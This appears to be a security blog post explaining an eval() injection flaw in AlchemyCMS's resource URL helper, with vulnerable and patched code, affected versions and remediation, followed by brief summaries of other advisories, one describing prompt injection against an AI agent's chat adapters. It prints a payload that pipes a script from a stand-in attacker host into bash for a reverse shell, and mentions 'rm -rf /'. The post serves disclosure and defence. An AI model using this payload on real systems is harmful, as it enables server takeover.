Jan 21, 2026·5 min read·28 visits
The AlchemyCMS team literally ignored a security linter warning to use `eval()` on user-supplied configuration data. This allows anyone with administrative access to inject Ruby code, leading to RCE. Fixed in 7.4.12 and 8.0.3 by switching to `public_send`.
A classic case of 'eval()' injection in AlchemyCMS allows authenticated administrators to escalate their privileges to full Remote Code Execution on the underlying server. The vulnerability stems from a helper method that prioritized flexibility over sanity, complete with a suppressed linting warning.
AlchemyCMS is a robust, open-source Content Management System for Ruby on Rails. It's designed to be flexible, modular, and developer-friendly. But sometimes, in the pursuit of making things 'dynamic', developers forget that not every string in a database or configuration file is a friend.
In this episode of 'Why is my server mining crypto?', we look at Alchemy::ResourcesHelper. This component is responsible for generating URLs for various resources within the CMS. To handle different Rails engines (modular mini-applications), the developers needed a way to dynamically determine which engine context to use.
Instead of a lookup table or a safe method dispatch, they reached for the nuclear option: Ruby's eval(). It's the programming equivalent of using a chainsaw to slice bread—it works, but if you slip, you lose a limb.
The vulnerability lies in app/helpers/alchemy/resources_helper.rb, specifically in the resource_url_proxy method. This method checks if a resource belongs to a specific engine and, if so, tries to execute the engine's name to get the proxy object.
The problem is how they executed it. They took resource_handler.engine_name—a string that can be influenced by administrative configuration—and passed it directly into eval().
Here is the kicker: Rubocop (the Ruby static code analyzer) screams at you when you use eval. It knows it's dangerous. The developers knew it was dangerous. How do we know? They explicitly added a comment to shut Rubocop up: # rubocop:disable Security/Eval. It is the digital equivalent of putting a piece of tape over your car's 'Check Engine' light.
Let's look at the crime scene. The vulnerable code takes the engine name and executes it as raw Ruby code. If engine_name is 'main_app', it returns the main app proxy. If engine_name is 'system("rm -rf /")', well, you can guess what happens.
def resource_url_proxy
if resource_handler.in_engine?
# The developer looked at the warning and said "I live dangerously."
eval(resource_handler.engine_name) # rubocop:disable Security/Eval
else
main_app
end
endThe fix was embarrassingly simple. Ruby has a method called public_send (or just send) which calls a method on an object by name. It doesn't parse syntax; it just dispatches a message. If you try to send "system('id')", it just looks for a method with that literal garbage name and raises a NoMethodError. Secure, safe, sane.
def resource_url_proxy
if resource_handler.in_engine?
# The "I like keeping my job" approach
public_send(resource_handler.engine_name)
else
main_app
end
endExploiting this requires High privileges, which is why the CVSS score is a deceptive 6.6. You need to be an Admin, or have the ability to modify the modules.yml configuration. However, 'Admin' in a CMS often just means 'Content Manager', not 'Server Sysadmin'. This exploit bridges that gap immediately.
An attacker logs into the AlchemyCMS backend. They locate the module configuration (either via a settings UI or by compromising a file if they have local write access). They modify the definition of a resource's engine name.
The payload needs to do two things: execute the malicious command, and return a valid object so the CMS doesn't crash immediately (which might leave a log trace or alert an admin).
# This executes the command and then returns 'main_app' to keep the app running
"system('curl http://attacker.com/revshell | bash'); main_app"When the admin navigates to any page that lists resources (like the sitemap or resource index), the helper fires, the eval executes, and the reverse shell connects back home.
A common dismissal of vulnerabilities like this is: "But you need to be an admin! If they are admin, you are already owned!" This is false.
In modern web architecture, an Application Admin is rarely the same as a System Root User. An Application Admin should be able to edit blog posts, not execute cat /etc/shadow.
CVE-2026-23885 breaks the isolation between the Application Layer and the Operating System. It allows an attacker who compromised a marketing manager's credentials (who happens to have CMS admin rights) to pivot into the server infrastructure, dump database credentials, install persistence, and move laterally into the internal network.
Furthermore, if the configuration is stored in a database that is susceptible to SQL Injection, a lower-privileged attacker could inject the payload into the config via SQLi, and then trigger the RCE just by browsing the site.
The remediation is straightforward: Update AlchemyCMS.
If you cannot update immediately (perhaps you are running a legacy fork), you can monkey-patch the helper in an initializer. Do not try to sanitize the input for eval. Just switch to public_send like the official patch did.
> [!NOTE] > This vulnerability serves as a harsh lesson in code review: If you see a linter disable comment for a security rule, that code block should be guilty until proven innocent.
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
AlchemyCMS AlchemyCMS | < 7.4.12 | 7.4.12 |
AlchemyCMS AlchemyCMS | >= 8.0.0.a, <= 8.0.2 | 8.0.3 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code) |
| CVSS Score | 6.6 (Medium) |
| Attack Vector | Network (Authenticated) |
| Impact | Remote Code Execution (RCE) |
| Exploit Status | PoC Available |
| Patch Date | 2026-01-19 |
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax directives before using the input in a dynamic evaluation call (e.g. 'eval').
A vulnerability in the Slack and Mattermost platform adapters for NousResearch hermes-agent permits an unauthenticated remote attacker to execute arbitrary mass mentions. By leveraging prompt injection, an attacker can bypass output sanitization logic and trigger workspace-wide notification exhaustion.
CVE-2026-9306 is a critical unauthenticated Insecure Direct Object Reference (IDOR) vulnerability located in the QuantumNous new-api application, affecting versions up to and including 0.12.1. The flaw is caused by improper middleware ordering combined with a lack of object-level authorization checks. This allows remote, unauthenticated attackers to retrieve sensitive Midjourney images belonging to other users by supplying a valid task identifier.
The instagrapi library prior to version 2.6.9 contains an improper input validation vulnerability within its challenge handling mechanism. Maliciously crafted server responses can manipulate the client into forwarding session cookies and credentials to an external attacker-controlled domain.
GHSA-QQQM-5547-774X is a critical path traversal vulnerability in the FileBrowser Quantum application, specifically within the Go backend package. The vulnerability resides in the HTTP handler responsible for processing bulk file modifications via the public API. Unauthenticated attackers can exploit an order-of-operations flaw in the path sanitization logic to bypass intended directory restrictions. This allows adversaries to arbitrarily read, move, and overwrite files on the underlying filesystem by supplying specially crafted HTTP PATCH requests.
The qs query string parsing and serialization library for Node.js is vulnerable to a synchronous Denial of Service (DoS) attack. The vulnerability manifests as a process-terminating TypeError when processing arrays with null or undefined elements under specific configuration parameters.
The aiosend library prior to version 3.0.6 contains a pre-authentication Denial of Service (DoS) vulnerability in its webhook handling mechanism. The software processes and deserializes incoming JSON payloads before verifying the cryptographic signature, allowing unauthenticated attackers to exhaust server CPU and memory resources by sending large, complex payloads.